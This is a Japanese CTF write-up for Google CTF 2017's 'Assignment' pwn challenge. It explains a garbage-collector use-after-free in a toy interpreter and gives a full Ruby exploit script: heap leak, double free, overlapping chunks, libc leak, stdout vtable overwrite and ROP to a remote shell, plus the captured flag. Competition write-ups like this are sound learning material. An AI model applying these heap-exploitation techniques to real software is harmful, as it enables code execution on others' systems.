しゃろの日記

CTFのwriteup置き場になる予定(`・ω・´)

Google CTF 2017 Quals - Assignment writeup

Google CTF 2017 Qualsにbinjaで参加しました。

チームで4632pts入れて6位、私は2問(うち1問はakiymさんが途中までやっていたのを引き継ぎ)解いて554ptsくらい入れました。

面白い問題が多くてさすがGoogleという感じでした。

Assignmentのwriteupを置いておきます(`・ω・´)

Assignment (pwn 363)

$ ./assignment
> 1
1
> "a"
"a"
> a.a=1
> a
{
  a: 1
}
> a.a=a.a+1
> a
{
  a: 2
}

文字列や連想配列も扱えるインタプリタ

まずは下調べ。

$ file assignment
assignment: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=207339d70fde53eee8656e85aa6c6b0c3466152c, stripped

$ checksec --file assignment
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   assignment

主な仕様はこんな感じ。

  • 下のBNFもどきでいうvalueかassignmentが自由に入力できる(バッファはスタックにある)
digits ::= /[0-9]+/
variable ::= /[a-zA-Z](\.[a-zA-Z])*/
quoted_string ::= /"[^"]*"/
equal ::= /=/
plus ::= /\+/
value ::= variable | digits | quoted_string
assignment ::= variable equal value [plus value]
  • 型はInteger, String, Object(連想配列)の3種類がある
  • 演算は足し算だけ
    • Integer + Integer → Integer
    • String + Integer, Integer + String => String
      • Integerを文字列に直してから文字列結合
    • String + String → String
      • 文字列結合
    • Object + Integer, Integer + Object, Object + String, String + Object → Object
      • Objectの全ての要素にもう一方のIntegerまたはStringを足す
    • Object + Object → Object
      • それぞれのObjectの全要素を集めたObjectを作る
      • 両方のObjectに同名の要素が存在した場合は足す
  • GC機構(mark-and-sweep型)が実装されている
    • Integer, String, Objectのオブジェクトを生成すると、グローバル変数の配列all_objectsにそのオブジェクトが登録される
    • all_objectsに登録できるオブジェクトは20個までで、それ以上オブジェクトを生成する必要が出たときにGCが走る
    • GCは、all_objectsに登録されているオブジェクトのうち、ルートオブジェクトから辿っても到達できないオブジェクトの領域を解放する

GCをバグらせる問題なのではと感じたので、バグりそうな入力をいろいろ試してみたところ、次のような入力でSEGVした。

$ ./assignment
> a=1
> a.a=a
> a=a+a
> a
{
[1]    11741 segmentation fault (core dumped)  ./assignment
  1. a=1
    f:id:Charo_IT:20170621111309p:plain
  2. a.a=a
    f:id:Charo_IT:20170621111318p:plain
  3. a=a+a
    下の図は計算の途中の様子。
    f:id:Charo_IT:20170621111328p:plain
    a+aを計算するために元々のa(青色)を参照しつつ、RootObject.child_list->valueを新しく作成した計算結果格納用のオブジェクトに繋ぎ替えている。
    この計算の途中でGCが走ると、元々のaがルートオブジェクトから辿れないために削除対象となってしまい、UAFが発生する。

簡単にまとめると、a=a+何かの計算中にGCが走るようにすればUAFを再現できる。

さらにいろいろ試してみると、次のような入力でヒープのアドレスがリークした。

$ ./assignment
> z=0
> a.b="AAAAAAAA"
> a.c=a.b
> a.d=a.b
> a.e=a.b
> a.f=a.b
> a.g=a.b
> a.h=a.b
> a.i=a.b
> a.j=a.b
> a.k=a.b
> a.l=a.b
> a.m=a.b
> a.n=a.b
> a.o=a.b
> a.p=a.b
> a.q=a.b
> a=a+z
> a
{
   : 94390702937312
  򸞹4390702937312
  κ 94390702937312
  °: 94390702937312
  : 94390702937312
  p: 94390702937312
  P: 94390702937312
  0: 94390702937312
  : 94390702937312
  򸞹4390702937312
  κ 94390702937312
  °: 94390702937312
  : 94390702937312
  p: 94390702937312
  P: 94390702937312
  0: 94390702937312
}

次のような手順で攻略した。

  1. 適当なStringオブジェクトを作る
    このオブジェクトはルートオブジェクトよりも手前に領域が確保される
  2. 上述のバグを使ってヒープのアドレスをリーク
  3. そのまま何個かオブジェクトを作って再度GCを走らせるとdouble freeも発生する
  4. 1.の領域を確保し直して偽チャンク1を、さらに、新しく確保した領域に0x20バイトの偽チャンク2を作る
    このとき、偽チャンク2はPREV_INUSEビットをクリアし、prevsizeを調整して偽チャンク2の手前に偽チャンク1があるかのように見せる
    f:id:Charo_IT:20170621111336p:plain
  5. 3.のdouble freeを利用してfastbins freelistに偽チャンク2を繋ぐ
  6. 大きなチャンクを解放することでmalloc_consolidateを走らせ、偽チャンク1と偽チャンク2を合体させる
    すると、合体してできたチャンクとルートオブジェクトの領域がoverlapする
    f:id:Charo_IT:20170621111343p:plain
  7. ルートオブジェクトを書き換えてarbitrary readできるようにし、ヒープからlibcのアドレスを抜く
  8. ルートオブジェクトの書き換えで任意アドレスのfreeもできるようになるので、最近のヒープ問と同じ要領でがんばってripを奪う
  9. 入力のバッファがスタック上にあるので、ripを奪った後はlibcのgadgetでstack pivotしてROPに持ち込む
#coding:ascii-8bit
require "pwnlib"

remote = ARGV[0] == "r"
if remote
  host = "assignment.ctfcompetition.com"
  port = 1337
  libc_offset = {
    "main_arena" => 0x3c1760,
    "_IO_2_1_stdout_" => 0x3c2400,
    "add_rsp_1b8_ret" => 0xf02c2,
    "ret" => 0x374cf,
    "one_gadget_rce" => 0x4647c,
  }
else
  host = "localhost"
  port = 54321
  libc_offset = {
    "main_arena" => 0x3c1760,
    "_IO_2_1_stdout_" => 0x3c2400,
    "add_rsp_1b8_ret" => 0xf02c2,
    "ret" => 0x374cf,
    "one_gadget_rce" => 0x4647c,
  }
end

class PwnTube
  def recv_until_prompt
    recv_until("> ")
  end
end

def tube
  @tube
end

def send_exp(exp)
  raise if exp.include?("\n")
  tube.recv_until_prompt
  tube.sendline(exp)
end

PwnTube.open(host, port){|t|
  @tube = t

  puts "[*] leak heap base"
  send_exp("X=\"#{"A" * 0x68}\"")
  send_exp("z=0")
  send_exp("a.b=\"#{"A" * 0x28}\"")
  "cdefghijkl".chars.each{|c|
    print "."
    send_exp("y.#{c}=0")
  }
  "cde".chars.each{|c|
    print "."
    send_exp("a.#{c}=a.b")
  }
  puts
  send_exp("a=a+z")
  send_exp("a")
  heap_base = tube.recv_capture(/\xf0: (\d+)\n/)[0].to_i - 0x1a0
  puts "heap base = 0x%x" % heap_base

  puts "[*] double free"
  send_exp("a=1")
  send_exp("1")

  puts "[*] prepare for overlapping chunks"
  send_exp("X.a=a")
  payload = ""
  payload << [0, 0].pack("Q*")
  payload << [0, 0x7a0 - 0x60 + 1].pack("Q*")
  payload << [heap_base + 0x60, heap_base + 0x60].pack("Q*")
  payload << [0, 0].pack("Q*")
  send_exp("X=\"#{payload.ljust(0x68, "\0")}\"")
  send_exp("\"A\"")
  payload = ""
  payload << [heap_base + 0x7a0].pack("Q")
  payload << [0].pack("Q")
  send_exp("d=\"#{payload.ljust(0x18, "\0")}\"")
  payload = ""
  payload << [0x7a0 - 0x60, 0x20].pack("Q*")
  payload << [0, 0].pack("Q*")
  payload << [0, 0x21].pack("Q*")
  payload << [0, 0].pack("Q*")
  payload << [0, 0x21].pack("Q*")
  payload << ["p".ord, heap_base + 0x810].pack("Q*")  # name value
  payload << [heap_base + 0x850, 0x21].pack("Q*")  # sibling
  payload << [1, heap_base + 0x830].pack("Q*")  # stringtype buffer
  payload << [0, 0x21].pack("Q*")
  payload << [8, heap_base + 0x10].pack("Q*")  # length buf
  payload << [0, 0x21].pack("Q*")
  payload << ["q".ord, heap_base + 0x870].pack("Q*")  # name value
  payload << [heap_base + 0x8b0, 0x21].pack("Q*")  # sibling
  payload << [1, heap_base + 0x890].pack("Q*")  # stringtype buffer
  payload << [0, 0x21].pack("Q*")
  payload << [0, heap_base + 0x70].pack("Q*")  # length buf
  payload << [0, 0x21].pack("Q*")
  payload << ["r".ord, heap_base + 0x8d0].pack("Q*")  # name value
  payload << [0, 0x21].pack("Q*")  # sibling
  payload << [1, heap_base + 0x8f0].pack("Q*")  # stringtype buffer
  payload << [0, 0x21].pack("Q*")
  payload << [0, heap_base + 0xa0].pack("Q*")  # length buf
  payload << [0, 0x21].pack("Q*")
  send_exp("\"#{payload.ljust(0x1f0, "\0")}\"")

  puts "[*] trigger malloc_consolidate"
  send_exp("y=1")
  (2..5).each{|i|
    send_exp("#{i}")
  }

  puts "[*] overwrite root object"
  payload = ""
  payload << [0].pack("Q") * 4
  payload << [0, 0x71].pack("Q*")
  payload << [0, 0].pack("Q*")
  payload << [0, 0x21].pack("Q*")
  payload << [2, heap_base + 0x7f0].pack("Q*")
  payload << [1, 0x21].pack("Q*")
  payload << ["X".ord, heap_base + 0x660].pack("Q*")
  payload << [0, 0].pack("Q*")
  send_exp("\"#{payload}\"")

  puts "[*] leak libc base"
  send_exp("p")
  libc_base = tube.recv_capture(/"(.{8})"/m)[0].unpack("Q")[0] - libc_offset["main_arena"] - 0x88
  puts "libc base = 0x%x" % libc_base

  puts "[*] abuse free list"
  send_exp("r.a=1")
  send_exp("q.a=1")
  payload = ""
  payload << [0].pack("Q") * 4
  payload << [0, 0x71].pack("Q*")
  payload << [libc_base + libc_offset["_IO_2_1_stdout_"] + 0x9d, 0].pack("Q*")
  payload << [0, 0x21].pack("Q*")
  payload << [2, heap_base + 0x7f0].pack("Q*")
  payload << [1, 0x21].pack("Q*")
  payload << [0x58, heap_base + 0x660].pack("Q*")
  send_exp("\"#{payload.ljust(0x98, "\0")}\"")

  payload = ""
  payload << [0, 0].pack("Q*")
  payload << [0, 0x21].pack("Q*")
  payload << [2, heap_base + 0x7f0].pack("Q*")
  payload << [1, 0x21].pack("Q*")
  payload << [0x58, heap_base + 0x660].pack("Q*")
  send_exp("\"#{payload.ljust(0x68, "\0")}\"")

  puts "[*] send ROP payload"
  payload = ""
  payload << [libc_base + libc_offset["ret"]].pack("Q") * 40
  payload << [libc_base + libc_offset["one_gadget_rce"]].pack("Q")
  payload << "\0" * 0x40
  send_exp(payload)

  puts "[*] overwrite stdout's vtable pointer and trigger ROP"
  payload = ""
  payload << "\0" * 3
  payload << [0, 0].pack("Q*")
  payload << [-1, 0].pack("L*")
  payload << [0, libc_base + libc_offset["add_rsp_1b8_ret"]].pack("Q*")
  payload << [libc_base + libc_offset["_IO_2_1_stdout_"] + 0xd0 - 0x38].pack("Q*")
  payload << [0].pack("L")
  send_exp("\"#{payload.ljust(0x68, "A")}\"")

  tube.interactive
}
$ ruby assignment.rb r
[*] connected
[*] leak heap base
.............
heap base = 0x56551b405000
[*] double free
[*] prepare for overlapping chunks
[*] trigger malloc_consolidate
[*] overwrite root object
[*] leak libc base
libc base = 0x7f791e0a9000
[*] abuse free list
[*] send ROP payload
[*] overwrite stdout's vtable pointer and trigger ROP
[*] interactive mode
id
uid=1337(user) gid=1337(user) groups=1337(user)
ls -la
total 44
drwxr-xr-x 2 user user  4096 Apr 20 15:52 .
drwxr-xr-x 3 user user  4096 Apr 20 15:52 ..
-rwxr-xr-x 1 user user   220 Apr  9  2014 .bash_logout
-rwxr-xr-x 1 user user  3637 Apr  9  2014 .bashrc
-rwxr-xr-x 1 user user   675 Apr  9  2014 .profile
-rwxr-xr-x 1 user user 18416 Apr 10 14:05 assignment
-rwxr-xr-x 1 user user    42 Apr 19 17:36 flag.txt
cat flag.txt
CTF{d0nT_tHrOw_0u7_th1nG5_yoU_5ti11_u53}

exit
[*] end interactive mode
[*] connection closed

FLAG: CTF{d0nT_tHrOw_0u7_th1nG5_yoU_5ti11_u53}